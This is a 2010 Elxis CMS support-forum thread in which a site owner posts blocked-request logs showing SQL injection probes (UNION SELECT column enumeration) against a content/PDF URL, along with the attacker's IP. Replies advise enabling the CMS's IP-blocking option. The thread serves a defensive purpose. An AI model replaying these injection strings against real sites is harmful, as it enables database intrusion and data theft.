Elxis CMS Forum

Support => Security => Topic started by: jimmyz on June 22, 2010, 12:01:36

Title: 1245 block defences!
Post by: jimmyz on June 22, 2010, 12:01:36: Some albanian kids from kosovo, had nothing better to do yestrday night.
Look at this.

Code: [Select]
ATTACKER IP ADDRESS: 80.80.163.179 Requested URI: /index2.php?option=com_content&do_pdf=1&id=14 and 1=0 Union Select 0x787878756E696F6E787878-- Requested URI: /index2.php?option=com_content&do_pdf=1&id=14 and 1=0 Union Select 0x787878756E696F6E787878 ,0x787878756E696F6E787878--... and so on... until:
Code: [Select]
Requested URI: /index2.php?option=com_content&do_pdf=1&id=14 and 1=0 Union Select 0x787878756E696F6E787878 ,0x787878756E696F6E787878 ,0x787878756E696F6E787878 ,0x787878756E696F6E787878 ,0x787878756E696F6E787878 ,0x787878756E696F6E787878 ,0x787878756E696F6E787878 ,0x787878756E696F6E787878 ,0x787878756E696F6E787878 ,0x787878756E696F6E787878 ,0x787878756E696F6E787878 ,0x787878756E696F6E787878 ,0x787878756E696F6E787878 ,0x787878756E696F6E787878 ,0x787878756E696F6E787878 ,0x787878756E696F6E787878 ,0x787878756E696F6E787878 ,0x787878756E696F6E787878 ,0x787878756E696F6E787878 ,0x787878756E696F6E787878 ,0x787878756E696F6E787878 ,0x787878756E696F6E787878 ,0x787878756E696F6E787878 ,0x787878756E696F6E787878 ,0x787878756E696F6E787878 ,0x787878756E696F6E787878 ,0x787878756E696F6E787878 ,0x787878756E696F6E787878 ,0x787878756E696F6E787878 ,0x787878756E696F6E787878 ,0x787878756E696F6E787878 ,0x787878756E696F6E787878 ,0x787878756E696F6E787878 ,0x787878756E696F6E787878 ,0x787878756E696F6E787878 ,0x787878756E696F6E787878 ,0x787878756E696F6E787878 ,0x787878756E696F6E787878--
and

Code: [Select]
Requested URI: /index2.php?option=com_content&do_pdf=1&id=14 and 1=0 Union Select 1 ,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,37,38,39,40,41,42,43,44,45,46,47,48,49,50,51,52,53,54,55,56,57,58,59,60,61,62,63,64,65,66,67,68,69,70,71,72,73,74,75,76,77,78,79,80,81,82,83,84,85,86,87,88,89,90,91,92,93,94,95,96,97,98,99,100,101,102,103,104,105,106,107,108,109,110,111,112,113,114,115,116,117,118,119,120,121,122,123,124,125,126,127,128,129,130,131,132,133,134,135,136,137,138,139,140,141,142,143,144,145,146,147,148,149,150,151,152,153,154,155,156,157,158,159,160,161,162,163,164,165,166,167,168,169,170,171,172,173,174,175,176,177,178,179,180,181,182,183,184,185,186,187,188,189,190,191,192,193,194,195,196,197,198,199,200,201,202,203,204,205,206,207,208,209,210,211,212,213,214,215,216,217,218,219,220,221,222,223,224,225,226,227,228,229,230,231,232,233,234,235,236,237,238,239,240,241,242,243,244,245,246,247,248,249,250-- Requested URI: /index2.php?option=com_content&do_pdf=1&id=14 and 1=0 Union Select 0x76697369626C65313233343536373839313031313132313331313131 ,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,37,38,39,40,41,42,43,44,45,46,47,48,49,50,51,52,53,54,55,56,57,58,59,60,61,62,63,64,65,66,67,68,69,70,71,72,73,74,75,76,77,78,79,80,81,82,83,84,85,86,87,88,89,90,91,92,93,94,95,96,97,98,99,100,101,102,103,104,105,106,107,108,109,110,111,112,113,114,115,116,117,118,119,120,121,122,123,124,125,126,127,128,129,130,131,132,133,134,135,136,137,138,139,140,141,142,143,144,145,146,147,148,149,150,151,152,153,154,155,156,157,158,159,160,161,162,163,164,165,166,167,168,169,170,171,172,173,174,175,176,177,178,179,180,181,182,183,184,185,186,187,188,189,190,191,192,193,194,195,196,197,198,199,200,201,202,203,204,205,206,207,208,209,210,211,212,213,214,215,216,217,218,219,220,221,222,223,224,225,226,227,228,229,230,231,232,233,234,235,236,237,238,239,240,241,242,243,244,245,246,247,248,249,250-- Requested URI: /index2.php?option=com_content&do_pdf=1&id=14 and 1=0 Union Select 1 ,0x76697369626C65313233343536373839313031313132313331313131,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,37,38,39,40,41,42,43,44,45,46,47,48,49,50,51,52,53,54,55,56,57,58,59,60,61,62,63,64,65,66,67,68,69,70,71,72,73,74,75,76,77,78,79,80,81,82,83,84,85,86,87,88,89,90,91,92,93,94,95,96,97,98,99,100,101,102,103,104,105,106,107,108,109,110,111,112,113,114,115,116,117,118,119,120,121,122,123,124,125,126,127,128,129,130,131,132,133,134,135,136,137,138,139,140,141,142,143,144,145,146,147,148,149,150,151,152,153,154,155,156,157,158,159,160,161,162,163,164,165,166,167,168,169,170,171,172,173,174,175,176,177,178,179,180,181,182,183,184,185,186,187,188,189,190,191,192,193,194,195,196,197,198,199,200,201,202,203,204,205,206,207,208,209,210,211,212,213,214,215,216,217,218,219,220,221,222,223,224,225,226,227,228,229,230,231,232,233,234,235,236,237,238,239,240,241,242,243,244,245,246,247,248,249,250--... and so on...

Code: [Select]
DATE: 21-06-2010 01:04:59

:P

[attachment deleted by admin]
Title: Re: 1245 block defences!
Post by: Ivan Trebješanin on June 22, 2010, 12:24:43: Yup, just kids. I've seen them too.
Title: Re: 1245 block defences!
Post by: rentasite on June 22, 2010, 12:36:11: @jimmyz: Do you have the Block IP option, ON?
Title: Re: 1245 block defences!
Post by: jimmyz on June 22, 2010, 12:39:39: Well, I guess it's time to enable it. ;)
Title: Re: 1245 block defences!
Post by: rentasite on June 22, 2010, 12:40:52: Quote from: jimmyz on June 22, 2010, 12:39:39
Well, I guess it's time to enable it. ;)

You should have, from the beginning.
Title: Re: 1245 block defences!
Post by: jimmyz on June 22, 2010, 12:45:09: By the way, are there any suggested IPs to block?
Title: Re: 1245 block defences!
Post by: rentasite on June 22, 2010, 12:45:54: Quote from: jimmyz on June 22, 2010, 12:45:09
By the way, are there any suggested IPs to block?

Don't bother. It will work for you. Just turn it on ;)